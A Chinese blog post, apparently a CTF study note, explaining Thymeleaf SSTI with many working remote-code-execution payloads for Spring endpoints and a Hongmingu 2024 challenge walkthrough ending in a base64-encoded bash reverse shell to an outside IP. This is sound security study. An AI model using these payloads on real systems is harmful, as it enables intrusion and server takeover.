被红明谷打爆了,所以来学习thymeleaf ssti
Thymeleaf是什么
Thymeleaf是springboot的一个引擎
要类比的话可以拿python中的jinja2来类比
jinja2是flask的一个引擎,它们都用于渲染前端页面
在写javaweb和ssm的时候前端可能会用jsp来写,springboot内是jar包内嵌tomcat,所以它不支持解析jsp文件。又由于单纯的静态html很不方便,所以就产生了thymeleaf这样的一个模板引擎
这样就只需要一个template就可以动态渲染前端了
基础知识
表达式
Thymeleaf中有很多种表达式:
变量表达式:${...}
选择变量表达式:*{...}
消息表达式:#{...}
链接url表达式:@{...}
片段表达式:~{...}
内联表达式:[[]]或者[()]
通过这些表达式可以进行变量的引用、替换等
例如${name}可以取到name的值
*{...}选定对象而不是整个上下文表达式,也就是说只要没有选定对象,${}等效于*{}
片段表达式~{}可以用于引用公共的目标片段,比如在footer.html中定义了下面的一个copy片段:<div th:fragment="copy">
1 2 3 4 5 6 7 8 9 10 11 12 13 <!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <body > <div th:fragment ="copy" > © 2011 The Good Thymes Virtual Grocery </div > </body > </html >
那么就可以通过~{}在另一模板中引用:
1 2 3 4 <body > ... <div th:insert ="~{footer::copy}" > </div > </body >
简单介绍一下片段表达式的语法:
~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模板中定义的fragment
~{templatename},这样会将整个templatename模板当作fragment
~{::selector}或者~{this.selector},引用来自同一模板名为selector的fragment
selector可以是通过th:fragment定义的片段,也可以是类选择器等
标签
thymeleaf还提供了一些内置的标签:
标签
作用
示例
th:id
替换id
<input th:id="${user.id}"/>
th:text
文本替换
<p text:="${user.name}">bigsai</p>
th:utext
支持html的文本替换
<p utext:="${htmlcontent}">content</p>
th:object
替换对象
<div th:object="${user}"></div>
th:value
替换值
<input th:value="${user.name}" >
th:each
迭代
<tr th:each="student:${user}" >
th:href
替换超链接
<a th:href="@{index.html}">超链接</a>
th:src
替换资源
<script type="text/javascript" th:src="@{index.js}"></script>
预处理语句
通过下面的语法可以对语句进行预处理:
__${experssion}__
官方文档:
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理 表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。
预处理可以解析执行表达式,这就是ssti出现的最关键的一个的地方
通过可控的预处理输入的位置 传入我们的恶意payload解析便可以达到任意代码执行
而我们要利用的就是这个表达式~{...}(虽然和它无关)
其中的templatename和selector都可以进行thymeleaf ssti
调试
调试我就不调了,可以看一下这位师傅写的
Java安全之Thymeleaf SSTI分析 - Zh1z3ven - 博客园 (cnblogs.com)
主要是调不动(
漏洞复现
在thymeleaf中,回显的本质其实是通过抛出某个异常来实现的,在低版本的springboot(<=2.2)中,server.error.include-message的默认值为always
因此这使得500页面会回显异常信息
但是在高版本下,上面的选项默认值改为了never,这使得500页面不会回显任何异常信息
所以回显的payload还是有点局限性
常规payload(无回显):
1 __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::
常规payload(有回显):
1 __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::xx
显而易见,只需要在::后加上任意内容即可回显
templatename
源码类似于:
1 2 3 4 @GetMapping("/path") public String path (@RequestParam String lang) { return "user/" + lang + "/welcome" ; }
它根据用户传入的lang参数,然后返回对应的user/lang/welcome模板(也有可能前面指定了一个固定路径)
在lang处打payload即可:
1 /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
上面这个payload是有回显的
不过对于这个源码:
1 2 3 4 @GetMapping("/path") public String path (@RequestParam String lang) { return "user/" + lang + "/welcome" ; }
由于后面拼接上了/welcome
所以实际上return的值是这样的:
1 user/$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x/welcome
上面说过只要::后任意内容都可回显,所以此处加不加.x都会有回显
selector
源码如下:
1 2 3 4 @GetMapping("/fragment") public String fragment (@RequestParam String lang) { return "welcome :: " + lang; }
可以看见它的可控点是一个selector的位置
同样的payload,但是它是无回显的,不管加不加.x
1 /fragment?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
为什么呢?
我们是通过抛出异常来回显的,但是实际上抛出的异常叫TemplateInputException,它是因为找不到templatename导致的异常抛出
所以templatename可控的地方是可以回显的
而selector可控的地方是无回显的:
URI Path
看源码:
1 2 3 4 5 @GetMapping("/doc/{document}") public void getDocument (@PathVariable String document) { log.info("Retrieving " + document); }
同样的payload,打到document的位置:
1 /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
原理是mav的返回值为空,所以viewTemplateName会直接从uri中获取
特殊的trick
::
::的位置是可以挪到最前面的:
1 ::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22 ).getInputStream()).next()%7d__
post
post方法也是可以的:
1 2 3 4 5 6 POST /path HTTP/1.1 Host: localhost:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 135 lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
省略双下划线
如果单独引用template时,可以不使用双下划线包裹:
1 2 3 4 5 @RequestMapping("/path2") public String path2 (@RequestParam String lang) { return lang; }
像上面这样就可以省略双下划线:
1 /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d
或者像这样的payload也是可以的:
1 *%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d
(再加多一对大括号也可以,具体可以看到这里:https://xz.aliyun.com/t/9826#toc-4 )
改造成利用反射获取
1 __${new java .util.Scanner(T(String).getClass().forName("java.lang.Runtime" ).getMethod("exec" ,T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ).invoke(T(String).getClass().forName("java.lang.Runtime" )),new String []{"/bin/bash" ,"-c" ,"id" }).getInputStream()).next()}__::x
或者:
1 __${new java .util.Scanner(Class.forName("java.lang.Runtime" ).getMethod("exec" ,T(String[])).invoke(Class.forName("java.lang.Runtime" ).getMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" )),new String []{"/bin/bash" ,"-c" ,"id" }).getInputStream()).next()}__::x
内联表达式
在boogipop师傅的博客里:
[RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup - Boogiepop Doesn’t Laugh (boogipop.com )](https://boogipop.com/2024/01/29/RealWorld CTF 6th 正赛_体验赛 部分 Web Writeup/)
源码简化后如下:
1 2 3 4 5 6 7 8 9 10 @GetMapping({"/notify"}) public String anotify (@RequestParam String fname, HttpServletRequest request, HttpServletResponse response) throws Exception { ... return new SpringTemplateEngine ().process(fname, new Context ()); }
这种源码会根据使用的模板引擎进行渲染,这里当然时利用thymeleaf进行渲染
利用内联表达式进行rce:
1 [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper" ).newInstance().readValue("{}" ,T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')" ).getValue()}]]
记得url编码
1 %5B%5B%24 %7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22 ).newInstance().readValue(%22 %7B%7D %22 %2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('calc' )%22 ).getValue()%7D %5D %5D
例题
红明谷2024 Simp1escape
差点做出来了,就是不知道有thymeleafssti
审controller:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.example.controller;import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.thymeleaf.context.Context;import org.thymeleaf.spring5.SpringTemplateEngine;@Controller public class IndexController { @GetMapping({"/"}) public String index () { return new SpringTemplateEngine ().process(BeanDefinitionParserDelegate.INDEX_ATTRIBUTE, new Context ()); } }
其实这里应该要看得出来它返回的是一个模板的。。。
唉
index其实就是一个hello world,返回了一个模板渲染的hello world
Curl Controller:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 package com.example.controller;import com.example.utils.Utils;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.File;import java.io.FileWriter;import java.io.InputStreamReader;import java.net.HttpURLConnection;import java.net.InetAddress;import java.net.URL;import java.util.concurrent.TimeUnit;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.boot.autoconfigure.thymeleaf.ThymeleafProperties;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestController public class CurlController { private static final String RESOURCES_DIRECTORY = "resources" ; private static final String SAVE_DIRECTORY = "sites" ; @RequestMapping({"/curl"}) public String curl (@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception { if (url.startsWith("http:" ) || url.startsWith("https:" )) { URL urlObject = new URL (url); String result = "" ; String hostname = urlObject.getHost(); if (hostname.indexOf("../" ) != -1 ) { return "Illegal hostname" ; } if (Utils.isPrivateIp(InetAddress.getByName(hostname))) { return "Illegal ip address" ; } try { String savePath = System.getProperty("user.dir" ) + File.separator + RESOURCES_DIRECTORY + File.separator + SAVE_DIRECTORY; File saveDir = new File (savePath); if (!saveDir.exists()) { saveDir.mkdirs(); } TimeUnit.SECONDS.sleep(4 ); HttpURLConnection connection = (HttpURLConnection) urlObject.openConnection(); if (connection instanceof HttpURLConnection) { connection.connect(); if (connection.getResponseCode() == 200 ) { BufferedReader reader = new BufferedReader (new InputStreamReader (connection.getInputStream())); BufferedWriter writer = new BufferedWriter (new FileWriter (savePath + File.separator + hostname + ThymeleafProperties.DEFAULT_SUFFIX)); while (true ) { String line = reader.readLine(); if (line == null ) { break ; } result = result + line + "\n" ; } writer.write(result); reader.close(); writer.close(); } } return result; } catch (Exception e) { return e.toString(); } } else { System.out.println(url.startsWith("http" )); return "No protocol: " + url; } } }
简单的看看,其实就是根据用户传入的url参数来进行ssrf(curl),然后将结果写到指定的地方:savePath + File.separator + hostname + ThymeleafProperties.DEFAULT_SUFFIX并返回
这里有点waf,首先是url要以http:或者https:开头,然后进行了一个isPrivateIp的判断:
1 2 3 4 5 6 7 8 9 10 11 public class Utils { public static boolean isPrivateIp (InetAddress ip) { int x; String ipAddress = ip.getHostAddress(); System.out.println(ipAddress); if (ip.isSiteLocalAddress() || ip.isLoopbackAddress() || ip.isAnyLocalAddress()) { return true ; } return ipAddress.startsWith("100" ) && (x = Integer.parseInt(ipAddress.split("\\." )[1 ])) >= 64 && x <= 127 ; } }
他会进行一个本地ip的判断
所以我们不能够直接通过本地ip打ssrf
admincontroller
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.example.controller;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.http.HttpStatus;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.thymeleaf.context.Context;import org.thymeleaf.spring5.SpringTemplateEngine;@Controller public class AdminController { @GetMapping({"/getsites"}) public String admin (@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception { if (!request.getRemoteAddr().equals("127.0.0.1" )) { response.setStatus(HttpStatus.FORBIDDEN.value()); return "forbidden" ; } return new SpringTemplateEngine ().process(hostname, new Context ()); } }
可以看到熟悉的返回模板渲染:
return new SpringTemplateEngine().process(hostname, new Context());
而且hostname参数可控
唯一需求就是需要通过本地ip访问,刚好curl可以打本地请求
这里可以利用xctf x tpctf的short_url的思路,利用302跳转
我们的payload是利用内联表达式来执行:
1 [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper" ).newInstance().readValue("{}" ,T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')" ).getValue()}]]
稍加改进一下反弹shell:
1 [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper" ).newInstance().readValue("{}" ,T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('bash -c {echo, YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}')" ).getValue()}]]
这样就能把shell弹回来了